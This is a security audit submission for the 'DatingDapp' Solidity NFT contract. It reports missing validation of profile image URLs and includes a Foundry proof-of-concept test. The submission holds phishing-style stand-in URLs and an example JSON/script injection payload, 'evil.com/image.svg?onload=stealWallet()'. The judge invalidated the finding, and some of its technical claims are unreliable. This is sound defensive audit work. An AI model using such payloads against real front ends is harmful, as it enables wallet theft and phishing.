DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Invalid

Lack of Profile Image URL Validation Allows Phishing, JSON injection attacks

Summary

The mintProfile function in the SoulboundProfileNFT.sol does not validate the profileImage URL provided by users.

Since profileImage is stored on-chain, it becomes immutable once minted, making exploitation permanent if malicious URLs are submitted.

  • So the Issues with the absence of validation on the profileImageUrl are

    • No validation of image format

    • Could accept unsupported formats

    • Potential display failures

    • Broken NFT previews

The issue is that the mintProfile function accepts the ProfileImage Url without sanitization and acts upon it by adding it in the base64 encoded metadata of the user

Exploitation Scenarios

1. Phishing & Malware Distribution

An attacker can set their profileImage URL to a phishing page embeded in an attaractive image

https://fake-metamask.com/login.jpg

2.When users view this profile, they might be tricked into entering sensitive information, such as private keys or passwords. if this url is parsed

https://attacker.com/malware.jpg

when users view the profile they are exposed to malware

3.If the front end APP doesn't process the JSON string properly, such as using eval() to parse token URI, then any malicious code can be executed in the front end. Obviously, funds in users' connected wallet, such as Metamask, might be stolen in this case.

POC:

a malicious user mints a soulbound NFT using the unvalidated profileImage e.g he uses a profile image of an attractive woman or a naked image that will serve as a click bait . Once an interested user shows interest by clicking the image to have a clearer look . the App as a whole would be exposed to malware or the user will also be exposed to phishing, malware or virus as the case may be

copy and paste this series of code in the SoulboundProfileNFT.t.sol and run

first test passes a phishing link to collect sensitive details from another user

function testMaliciousImageURL() public {
vm.prank(user);
soulboundNFT.mintProfile("Alice", 25, "https://fake-metamask.com/login.jpg");
uint256 tokenId = soulboundNFT.profileToToken(user);
string memory uri = soulboundNFT.tokenURI(tokenId);
assertTrue(bytes(uri).length > 0, "Token URI should be set, but URL validation is missing");
}

you will see that our test is passing and returning the base64 encoded metadata like this

Ran 1 test for test/testSoulboundProfileNFT.t.sol:SoulboundProfileNFTTest````[PASS] testMaliciousImageURL() (gas: 244261)````Traces:````[244261] SoulboundProfileNFTTest::testMaliciousImageURL()````├─ [0] VM::prank(0x0000000000000000000000000000000000000123)````│ └─ ← [Return]````├─ [211143] SoulboundProfileNFT::mintProfile("Alice", 25, "https://fake-metamask.com/login.jpg")````│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000123, tokenId: 1)````│ ├─ emit ProfileMinted(user: 0x0000000000000000000000000000000000000123, tokenId: 1, name: "Alice", age: 25, profileImage: "https://fake-metamask.com/login.jpg")````│ └─ ← [Stop]````├─ [630] SoulboundProfileNFT::profileToToken(0x0000000000000000000000000000000000000123) [staticcall]````│ └─ ← [Return] 1````├─ [19233] SoulboundProfileNFT::tokenURI(1) [staticcall]````│ └─ ← [Return] "eyJuYW1lIjoiQWxpY2UiLCAiZGVzY3JpcHRpb24iOiJBIHNvdWxib3VuZCBkYXRpbmcgcHJvZmlsZSBORlQuIiwgImF0dHJpYnV0ZXMiOiBbeyJ0cmFpdF90eXBlIjogIkFnZSIsICJ2YWx1ZSI6IDI1fV0sICJpbWFnZSI6Imh0dHBzOi8vZmFrZS1tZXRhbWFzay5jb20vbG9naW4uanBnIn0="````├─ [0] VM::assertTrue(true, "Token URI should be set, but URL validation is missing") [staticcall]````│ └─ ← [Return]````└─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.72ms (1.92ms CPU time)

Now let us copy the returned base64 and decode it somewhere else to see if our malicious input was utilized

The Result was:

{"name":"Alice", "description":"A soulbound dating profile NFT.", "attributes": [{"trait_type": "Age", "value": 25}], "image":"https://fake-metamask.com/login.jpg"}

you can see the json response returned our input

Vulnerability Details

Impact

Storing a Fake Wallet Connection URL

Injecting JavaScript in an External URL

If the frontend automatically loads and displays images, an attacker can serve malicious JavaScript through a crafted URL.

like this
mintProfile("Eve", 28, "https://evil.com/image.svg?onload=stealWallet()");

When the user views the profile, JavaScript executes without their consent.

Tools Used

manual review , foundry

Recommendations

Modify the mintProfile function to validate URLs before storing them on-chain:

Use a Whitelisted Image Storage Provider

Updates

Appeal created

n0kto Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_URI_injection_scam_underaged_bad_name_photo_etc

Scamming/phishing is not the protocol problem, that's a user mistake. NFT are unique, even if someone does a copy of your profile (which is also possible in web2), I consider it informational. Injection is a problem for the web2 part of the protocol, not a bug here. For the age, it depends on the countries law and future medicine. Anyways, that's more an ethical/political problem, not a bug.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.